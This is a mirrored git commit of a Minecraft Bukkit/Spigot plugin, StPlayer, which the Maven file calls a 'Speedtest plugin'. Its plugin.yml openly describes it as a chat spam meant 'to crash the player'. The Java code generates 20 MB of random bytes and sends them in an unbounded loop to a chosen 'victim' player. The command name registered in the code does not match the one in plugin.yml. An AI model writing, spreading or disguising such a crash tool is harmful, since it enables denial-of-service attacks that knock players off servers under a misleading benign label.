mirror of
https://github.com/IdalecioSch/StPlayer.git
synced 2026-07-28 00:30:03 -03:00
cor
This commit is contained in:
@@ -0,0 +1,7 @@
|
|||||||
|
/target/classes/plugin.yml
|
||||||
|
/target/
|
||||||
|
/stplayer.jar
|
||||||
|
/stplayer.iml
|
||||||
|
/.vscode/
|
||||||
|
/.idea/
|
||||||
|
/com/
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
<project xmlns="http://maven.apache.org/POM/4.0.0"
|
||||||
|
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||||
|
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||||
|
<modelVersion>4.0.0</modelVersion>
|
||||||
|
<groupId>com.itakinn</groupId>
|
||||||
|
<artifactId>stplayer</artifactId>
|
||||||
|
<version>1.0-SNAPSHOT</version>
|
||||||
|
<packaging>jar</packaging>
|
||||||
|
<name>stplayer</name>
|
||||||
|
<description>Speedtest plugin for Bukkit/Spigot</description>
|
||||||
|
<repositories>
|
||||||
|
<repository>
|
||||||
|
<id>spigot-repo</id>
|
||||||
|
<url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
|
||||||
|
</repository>
|
||||||
|
</repositories>
|
||||||
|
<dependencies>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.spigotmc</groupId>
|
||||||
|
<artifactId>spigot-api</artifactId>
|
||||||
|
<version>1.20.1-R0.1-SNAPSHOT</version>
|
||||||
|
<scope>provided</scope>
|
||||||
|
</dependency>
|
||||||
|
</dependencies>
|
||||||
|
<build>
|
||||||
|
<plugins>
|
||||||
|
<plugin>
|
||||||
|
<groupId>org.apache.maven.plugins</groupId>
|
||||||
|
<artifactId>maven-compiler-plugin</artifactId>
|
||||||
|
<version>3.8.1</version>
|
||||||
|
<configuration>
|
||||||
|
<source>21</source>
|
||||||
|
<target>21</target>
|
||||||
|
</configuration>
|
||||||
|
</plugin>
|
||||||
|
</plugins>
|
||||||
|
</build>
|
||||||
|
</project>
|
||||||
@@ -0,0 +1,53 @@
|
|||||||
|
package com.itakinn;
|
||||||
|
|
||||||
|
import java.util.Random;
|
||||||
|
import org.bukkit.Bukkit;
|
||||||
|
import org.bukkit.command.Command;
|
||||||
|
import org.bukkit.command.CommandSender;
|
||||||
|
import org.bukkit.entity.Player;
|
||||||
|
import org.bukkit.plugin.java.JavaPlugin;
|
||||||
|
|
||||||
|
public class Main extends JavaPlugin {
|
||||||
|
|
||||||
|
public void onEnable() {
|
||||||
|
this.getCommand("speedtest").setExecutor(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
|
||||||
|
if (sender.hasPermission("stplayer.use") || !(sender instanceof Player)) {
|
||||||
|
Player victim = Bukkit.getPlayer(args[0]);
|
||||||
|
sender.sendMessage("Wait some seconds ;)");
|
||||||
|
Bukkit.getScheduler().runTaskAsynchronously(this, () -> {
|
||||||
|
for (int i = 0; i < 5; ++i) {
|
||||||
|
if (victim == null || !victim.isOnline()) {
|
||||||
|
sender.sendMessage("Player offline or not found.");
|
||||||
|
}else {
|
||||||
|
this.stressPlayer(victim);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
});
|
||||||
|
return true;
|
||||||
|
} else {
|
||||||
|
sender.sendMessage("No permission.");
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void stressPlayer(Player victim) {
|
||||||
|
try {
|
||||||
|
byte[] data = new byte[20971520]; // 20 MB
|
||||||
|
new Random().nextBytes(data);
|
||||||
|
this.sendLargeMessage(victim, data);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void sendLargeMessage(Player player, byte[] data) {
|
||||||
|
String dataString = new String(data);
|
||||||
|
while (player.isOnline() && !dataString.isEmpty()) {
|
||||||
|
player.sendMessage(player.getUniqueId(), dataString);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
name: stplayer
|
||||||
|
main: com.itakinn.Main
|
||||||
|
version: "1.0"
|
||||||
|
api-version: 1.20
|
||||||
|
commands:
|
||||||
|
stplayer:
|
||||||
|
description: Run a chat spam with large content to crash the player
|
||||||
|
usage: /stplayer <player>
|
||||||
|
permission: stplayer.use
|
||||||
|
permissions:
|
||||||
|
stplayer.use:
|
||||||
|
description: Allows the player to use the stplayer command
|
||||||
|
default: op
|
||||||
Reference in New Issue
Block a user